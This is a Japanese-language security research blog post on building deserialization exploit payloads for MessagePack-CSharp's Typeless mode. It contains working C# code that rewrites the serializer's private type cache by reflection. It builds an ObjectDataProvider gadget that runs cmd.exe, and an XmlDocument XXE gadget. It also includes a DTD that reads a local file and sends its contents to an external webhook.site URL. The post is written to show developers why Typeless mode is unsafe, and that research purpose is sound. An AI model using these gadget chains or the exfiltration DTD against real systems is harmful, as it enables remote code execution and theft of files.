MessagePack C# の Typeless モード向けに逆シリアル化ペイロードを生成する
Apr 10, 2023
MessagePack-CSharp の Typeless モードは、private フィールドを含む完全な型情報を埋め込むことで多態的なシリアル化を可能にします。これにより強力ですが、不正な(信頼できない)データには安全ではありません。逆シリアル化はリフレクションと自動プロパティセッターに依存するため、攻撃者は既知のガジェットチェーンを悪用して、コード実行や XXE 攻撃を引き起こすペイロードを作成できます。たとえ MessagePack の強化セキュリティオプションを有効にしていても、Typeless モードは本質的に安全ではなく、信頼できない入力には決して使用すべきではありません。
MessagePack-CSharp は、複雑なオブジェクトのシリアル化および逆シリアル化の手順を簡単にする、高性能なシリアル化ライブラリです。多くの .NET 開発者が MessagePack を好むのは、XML や JSON などの他のシリアル化形式よりも高速で、出力サイズも小さくなるためです。
MessagePack-CSharp には Typeless モードという機能があり、オブジェクトの型を事前に把握していなくても、動的で多態的(polymorphic)なシリアライズ/デシリアライズを可能にします。この機能は、オブジェクトの型が実行時にしか分からない状況で特に有益です。開発者は、クラスに属性(attributes)を付与する必要なく、オブジェクトをシリアライズ/デシリアライズできます。Typeless モードは、公開・非公開のプロパティやフィールドを含め、ほぼあらゆる型をシリアライズできます。
BinaryFormatter の非推奨化に伴い、同等の機能を提供する MessagePack の Typeless モードのような代替手段を探す開発者もいるかもしれません。
MessagePack のドキュメントでは、信頼できないデータに対して Typeless モードを使用することを避けるよう助言しています。使用するとセキュリティ上の問題につながる可能性があるためです。この記事では、MessagePack の Typeless モード向けに逆シリアル化(deserialization)のエクスプロイト用ペイロードを作成する方法を示すことで、これらの問題を説明します。
Typeless モードでオブジェクトをシリアライズする
namespace SomeLibrary
{
public class SomeClass
{
private string _privateField;
public string PublicProperty { get; set; }
public string PrivateProperty { get; private set; }
public void SetPrivateProperty(string pPrivateProperty)
=> PrivateProperty = pPrivateProperty;
public void SetPrivateField(string pPrivateField)
=> _privateField = pPrivateField;
}
}
namespace MessagePackTypelessDemo
{
class Program
{
static void Main()
{
var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
obj.SetPrivateProperty("HIJKLMNOP");
obj.SetPrivateField("QRSTUVWXYZ");
System.IO.File.WriteAllBytes(
"serialized.bin",
MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
}
}
}
直列化されたデータには、private のプロパティやフィールドの値に加えて、SomeClass の AssemblyQualifiedName(AQN)が含まれる点に注意が必要です。デシリアライズ(逆シリアル化)時、MessagePack はこの型情報を参照して、まさにこのオブジェクト型が正しく構築され、適切に値が設定されることを保証します。
図 1. MessagePack Typeless でシリアル化されたデータの16進表示
逆シリアル化の際、MessagePack はリフレクションを利用して、引数を取らないデフォルト コンストラクターを呼び出します。デフォルト コンストラクターが存在しない場合、逆シリアル化は失敗します。さらに、リフレクションを使ってプロパティのセッターを呼び出し、フィールドに値を割り当てます。
信頼できないデータを逆シリアル化することのセキュリティ上の影響
MessagePack のドキュメントは、信頼できないデータを逆シリアル化することに伴うセキュリティ上の影響について説明しています。このセクションでは、信頼できないデータに Typeless モードを使用しないよう特に注意しています。Typeless モードを使用すると、予期しない型が逆シリアル化される可能性があり、その結果としてセキュリティ上の脆弱性につながることがあります。
MessagePackSerializerOptions クラスにより、開発者は、Lz4 圧縮の使用やアセンブリ バージョンの取り扱いなど、シリアル化および逆シリアル化中の特定の挙動を設定できます。また、このクラスは、MessagePack が逆シリアル化しない既知の危険な型のリストも定義します。シリアル化されたデータにこれらの型のいずれかが含まれている場合、例外がスローされ、逆シリアル化は中止されます。このリストには現在 2 つの型が含まれています:
- System.CodeDom.Compiler.TempFileCollection
- System.Management.IWbemClassObjectFreeThreaded
MessagePackSerializerOptions は、信頼できないデータの取り扱いを目的とした、より安全なモードを使用するように設定することもできます。このモードでは、最大オブジェクトグラフ深さと、衝突耐性のあるハッシュアルゴリズムが導入されます。ドキュメントでは、このモードは一般的な攻撃に対して単に強化されるだけであり、完全に安全ではないと主張しています。
MessagePackSerializerOptions options =
TypelessContractlessStandardResolver.Options
.WithAllowAssemblyVersionMismatch(true)
.WithSecurity(MessagePackSecurity.UntrustedData);
return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
これらの制限が課されていても、信頼できないデータをデシリアライズする際に、プロパティのセッター呼び出しを利用してコード実行などの特権アクションを開始するシリアライズ済みのガジェット・ペイロードを作成することは依然として可能です。これは、そのガジェットが許可されない型のリストに含まれていない場合に実現できます。
インスタンス化されたガジェット型をそのままシリアライズすることは問題になり得ます。というのも、その型のすべてのプロパティとフィールドが、いずれも無視する機会なくシリアライズされてしまうからです。オブジェクトをデシリアライズすると、インスタンス化時に問題を引き起こし得る誤設定のオブジェクトになり、その結果、エクスプロイトが失敗する可能性があります。さらに、セッターベースのガジェットでは、研究者がオブジェクトの作成時にペイロードを直接実行する必要がある場合もあります。
これらの問題を回避するには、最小限のサロゲート(代替)オブジェクトを作成し、それを実際の gadget 型としてシリアライズするのがより良いアプローチです。こうすることで、逆シリアル化の際に設定されるのは必要なプロパティとフィールドのみとなり、意図しない挙動のリスクが低減されます。
コード実行用の ObjectDataProvider ペイロードを生成する
ObjectDataProvider gadget は、広く知られたコード実行用の gadget であり、多数の gadget chain に登場します。この記事では、Alvaro Muñoz と Oleksandr Mirosh の “ObjectDataProvider の関数(働き)についての詳細は扱いません。理由は、“Friday the 13th JSON Attacks” の論文が、その仕組みを包括的に説明しているためです。
要するに、ObjectDataProvider は MethodName および ObjectInstance プロパティを設定することで、ユーザー指定の引数を用いて Process.Start を呼び出すために使用できます。どちらか一方のプロパティを設定すると、指定されたメソッド名が、指定されたオブジェクト・インスタンスに対して呼び出されます。具体的には、MethodName プロパティは “Start” に設定し、ObjectInstance プロパティは System.Diagnostics.Process のインスタンスに設定します。ファイル名と引数は、その後 System.Diagnostics.ProcessStartInfo オブジェクトに含まれるプロパティを通じて設定でき、このオブジェクトは Process オブジェクトの StartInfo プロパティとして利用可能です。
ステップ 1. サロゲート(代替)型を指定する
サロゲート(surrogate)型には、コード実行につながるために必要な最小限のプロパティだけを含めれば十分です。 ObjectDataProvider ガジェットでは、オブジェクトグラフが次の仕様に適合している必要があります。
public class ObjectDataProviderSurrogate
{
public string MethodName { get; set; }
public object ObjectInstance { get; set; }
}
public class ProcessStartInfoSurrogate
{
public string FileName { get; set; }
public string Arguments { get; set; }
}
public class ProcessSurrogate
{
public ProcessStartInfoSurrogate StartInfo { get; set; }
}
ステップ 2. ObjectDataProviderSurrogate オブジェクトを構築する
「calc.exe」を実行するペイロードを生成するには、 まず ObjectDataProviderSurrogate オブジェクトを構築し、実際の ObjectDataProvider オブジェクトに必要なプロパティを設定します。必要に応じて追加のサロゲート(surrogate)も使用します。
return new ObjectDataProviderSurrogate
{
MethodName = "Start",
ObjectInstance = new ProcessSurrogate
{
StartInfo = new ProcessStartInfoSurrogate
{
FileName = "cmd.exe",
Arguments = "/c calc"
}
}
};
ステップ 3. 型キャッシュを変更する
MessagePack の Typeless モードには、ある型を別の型としてシリアライズするための機能が含まれていません。以前は開発者が TypelessFormatter の BindToType デリゲートをオーバーライドしてこれを実現できましたが、この機能は大規模なリファクタリングの際に削除されました。しかし、MessagePack の内部動作の一部を活用して、この目的を達成することはまだ可能です。
The TypelessFormatter は、これまでに処理した型の型情報を格納するための内部キャッシュを利用します。ある型がキャッシュに存在する場合、フォーマッタは AssemblyQualifiedName プロパティを介してその型の AQN を取得する処理をスキップし、その代わりに、キャッシュされた AQN 文字列をバイト配列形式で返します。これにより、その値はシリアル化されたデータに取り込まれ、シリアル化された型を識別します。
public void Serialize(
ref MessagePackWriter writer,
object? value,
MessagePackSerializerOptions options)
{
// [Truncated]
Type type = value.GetType();
var typeNameCache = options.OmitAssemblyVersion
? ShortenedTypeNameCache
: FullTypeNameCache;
if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
{
TypeInfo ti = type.GetTypeInfo();
if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
{
typeName = null;
}
else
{
typeName = StringEncoding.UTF8.GetBytes(
this.BuildTypeName(type, options));
}
typeNameCache.TryAdd(type, typeName);
}
// Use typeName...
}
型と、それに対応する AQN 文字列をキャッシュに追加することで、シリアライザがこれらのオブジェクトを処理する際に指定された AQN 文字列を書き込むことを保証します。キャッシュはプライベートであるため、リフレクションを利用してこのフィールドの TryAdd メソッドにアクセスできます。
public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
FieldInfo typeNameCacheField =
typeof(TypelessFormatter)
.GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo addTypeCacheMethod =
typeNameCacheField.FieldType
.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });
object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
foreach (var typeSwap in pNewTypeCacheEntries)
{
addTypeCacheMethod.Invoke(
typeNameCache,
new object[]
{
typeSwap.Key,
System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
});
}
}
これで、TypelessFormatter の内部型キャッシュに、実際のオブジェクトの対応する型名とともに、こちらの型を追加できます。TypelessFormatter は static であるため、その後の serialize 呼び出しはすべて、この変更された型キャッシュを使用します。
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(ObjectDataProviderSurrogate),
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
},
{
typeof(ProcessSurrogate),
"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(ProcessStartInfoSurrogate),
"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
ステップ4. ペイロードをシリアライズおよびデシリアライズする
シリアル化されたデータには ObjectDataProvider の gadget chain に必要な AQN が含まれていること、また、成功したコード実行を可能にするための必須のプロパティと値だけが含まれていることを確認できます。デシリアライズすると、payload は Process.Start をトリガーし、calc.exe を起動します。
図 2. シリアライズされた ObjectDataProvider ガジェット ペイロードの16進数表示
図 3. 逆シリアル化中に成功裏に悪用され、calc.exe が起動
このペイロード生成機能は、研究者が標準データと Lz4 圧縮データの両方に対して MessagePack Typeless ペイロードを生成できるようにするため、Ysoserial.NET プロジェクトにも統合されています。
図 4. Ysoserial.NET で MessagePack Typeless ペイロードを生成
制限
MessagePack-CSharp の v2.3.75(2021年7月)より前のバージョンでは、シリアライズされた ObjectDataProvider ペイロードを逆シリアル化しても、コード実行を実現することはできません。これらのバージョンでは、シリアライズされたデータに値が存在しない場合でも、オブジェクトに対してプロパティのセッターが呼び出されます。
ObjectDataProvider は System.Windows.Data.DataSourceProvider クラスを拡張します。このクラスには保護されたプロパティ Dispatcher が含まれており、MessagePack の以前のバージョンでは Dispatcher が null に設定されます。
protected Dispatcher Dispatcher
{
get { return _dispatcher; }
set
{
if (_dispatcher != value)
{
_dispatcher = value;
}
}
}
前述のとおり、指定された ObjectInstance または MethodName の各プロパティを設定すると、内部の Refresh メソッドが呼び出されます。このメソッドは、両方のプロパティが設定されていることを条件として、オブジェクト・インスタンス上で指定されたメソッド名の呼び出しにつながります。つまり、呼び出しを成功させるには Refresh メソッドを2回呼び出す必要があります。各プロパティの設定ごとに1回ずつ呼び出します。
各 Refresh 呼び出しの末尾で、DataSourceProvider の OnQueryFinished メソッドが呼び出され、クエリが完了したことを示します。このメソッドは Dispatcher プロパティが null ではないことをアサート(断言)します。
protected virtual void OnQueryFinished(object newData, Exception error
DispatcherOperationCallback completionWork, object callbackArguments)
{
Invariant.Assert(Dispatcher != null);
if (Dispatcher.CheckAccess())
{
UpdateWithNewResult(error, newData, completionWork, callbackArguments);
}
else
{
Dispatcher.BeginInvoke(
DispatcherPriority.Normal, UpdateWithNewResultCallback,
new object[]
{
this, error, newData, completionWork, callbackArguments
});
}
}
この時点で Dispatcher が null であるため、Invariant.Assert は失敗し、その結果 Invariant.FailFast が呼び出され、最終的にプロセスが終了します。これは最初の Refresh の呼び出しで発生するため、コード実行は不可能です。
XXE によるファイル外部流出のための XmlDocument ペイロードの生成
XmlDocument クラスには、InnerXml 文字列プロパティがあり、これにより設定されたプロパティ値を使って XmlDocument の Load メソッドが呼び出されます。v4.5.2 未満の .NET バージョンでは、これにより XXE(XML External Entity)攻撃に対する潜在的な脆弱性が生じます。攻撃者は、システムからファイルを奪い取り、リモートの場所へ外部流出させることが可能になります。
.NET Framework の v4.5.2 以降では、XmlDocument の XmlResolver プロパティがデフォルトで null に設定されているため、XML エンティティの処理が防止されます。 しかし、MessagePack はデフォルト コンストラクターを使って型をデシリアライズするため、XmlUrlResolver を XmlResolver プロパティとして渡すことで、この保護を回避できてしまいます。これにより、.NET Core から .NET 7 までの後続バージョンで XXE のシナリオが成立する経路が生まれます。
ステップ 1. XmlDocument の surrogate types(サロゲート型)を指定する
XXE 攻撃を実行するために必要な最小限のプロパティを指定します。XmlResolver プロパティは System.Object 型であり、XmlUrlResolverSurrogate ではありません。これにより MessagePack は XmlResolver プロパティの型の AQN を含めることを強制され、タイプ入れ替え(type-swapping)メカニズムを利用できるようになります。
public class XmlDocumentSurrogate
{
public object XmlResolver { get; set; }
public string InnerXml { get; set; }
}
public class XmlUrlResolverSurrogate
{
}
ステップ 2. XmlDocument のサロゲート(surrogate)オブジェクトを構築する
逆シリアル化(deserialization)中にファイルを外部に持ち出すには、まず DTD ファイルを準備してホストする必要があります。この DTD ファイルは、InnerXml プロパティに渡されて読み込まれる XML から参照されます。無料のテキスト貼り付けサービス Pastebin を使用して DTD ファイルをホストできます。これは、生のファイルアクセスを許可しているためです。
DTD はファイル “C:\test.txt” の内容を読み取ります(この概念実証(proof-of-concept)の例には “A1B2C3”)が含まれており、その内容を GET パラメータとして攻撃者が制御する Web サービスに渡します。この例では、無料の Webhook.Site サービスを使用してリクエストを受け取ります。
<!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;
逆シリアル化中に読み込まれる XML は、この DTD ファイルを参照し、その結果として GET リクエストにつながるエンティティ展開(entity expansion)を呼び出します。
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
その後、サロゲート(surrogate)オブジェクトの完全な構築は、単に XmlDocumentSurrogate の InnerXml プロパティに上記の XML を設定し、XmlResolver プロパティを私たちの XmlUrlResolverSurrogate 型に設定するだけです。
return new XmlDocumentSurrogate
{
XmlResolver = new XmlUrlResolverSurrogate(),
InnerXml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
"<foo>&c;</foo>"
};
ステップ 3. 型定義を置き換えます
ObjectDataProvider ガジェットを生成するときと同じアプローチを使えば、SwapTypeCacheNames 関数によって、サロゲートの型情報を実際の XmlDocument ガジェットの型情報に置き換えられます。
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(XmlDocumentSurrogate),
"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(XmlUrlResolverSurrogate),
"System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
ステップ 4. ペイロードをシリアライズしてデシリアライズします
XmlDocument ガジェットチェーンのシリアライズデータには、XmlUrlResolver のために必要な AQN を含む、正しい AQNs が含まれています。デシリアライズが行われると、ペイロードは攻撃者がホストする DTD への要求をトリガーします。次に、その DTD を使って「C:\Test.txt」の内容を抽出し、内容を GET パラメータとして webhook に渡します。
図 5. シリアライズされた XmlDocument ガジェット ペイロードの16進表示
図 6. XmlDocument ガジェット ペイロードのシリアライズとデシリアライズ
図 7. デシリアライズ中に成功した XXE ファイルの外部流出
制限
MessagePack-CSharp の v2.3.75(2021年7月)より前のバージョンは、前述の不具合により、XmlDocument のガジェット ペイロードをデシリアライズする際に XXE 攻撃の実行を妨げます。この不具合は、シリアライズされたデータに存在しない場合でも、オブジェクトのプロパティ セッターを呼び出してしまうためです。
この不具合により XmlDocument の Value プロパティ セッター(System.Xml.XmlNode から継承されたもの)が呼び出されます。このセッターは渡された値にかかわらず例外をスローし、ファイルの外部流出が起こる前にデシリアライズ処理が終了します。
public virtual string Value
{
get { return null; }
set
{
throw new InvalidOperationException(
string.Format(
CultureInfo.InvariantCulture,
Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString()));
}
}
概要
この記事では、MessagePack の Typeless モードで逆シリアル化(deserialization)エクスプロイト用のペイロードを作成するためのシンプルな手法について概要を説明します。シリアライザが private プロパティだけでなく private フィールドも扱えるほど汎用性が高いことを考えると、より制限の強い対応シリアライザに比べて、このシリアライザではより多くのガジェットが存在する可能性があります。
信頼できないデータの逆シリアル化(deserialization)は、特に埋め込まれたオブジェクトの型(embedded object type)を定義するデータを逆シリアル化する場合、重大なセキュリティ上のリスクとなります。開発者は、信頼できないデータを逆シリアル化するために MessagePack の Typeless 機能を使用しないでください。すべてのセキュリティ機能を有効にしても、それは安全ではなく、安全にすることもできません。
謝辞
Piotr Bazydlo(@chudyPB)に対し、貴重な洞察を提供してくださったことに特別な感謝を贈ります。これにより、MessagePack の以前のバージョンにおける ObjectDataProvider のガジェットチェーンを逆シリアル化(deserializing)する際の制限が明らかになり、攻撃(エクスプロイト)の成功を阻止します。
よくある質問(FAQ)
共有する
もっと詳しく
著者について
Dane Evans
シニア アプリケーションセキュリティエンジニア
Netwrix Security Research チームのアプリケーションセキュリティエンジニアとして、Dane はアプリケーションセキュリティおよびソフトウェアエンジニアリング分野で10年以上の経験を持っています。主な関心領域には、アプリケーションセキュリティ、ソフトウェア開発ライフサイクル(SDLC)、脆弱性研究、エクスプロイト開発が含まれます。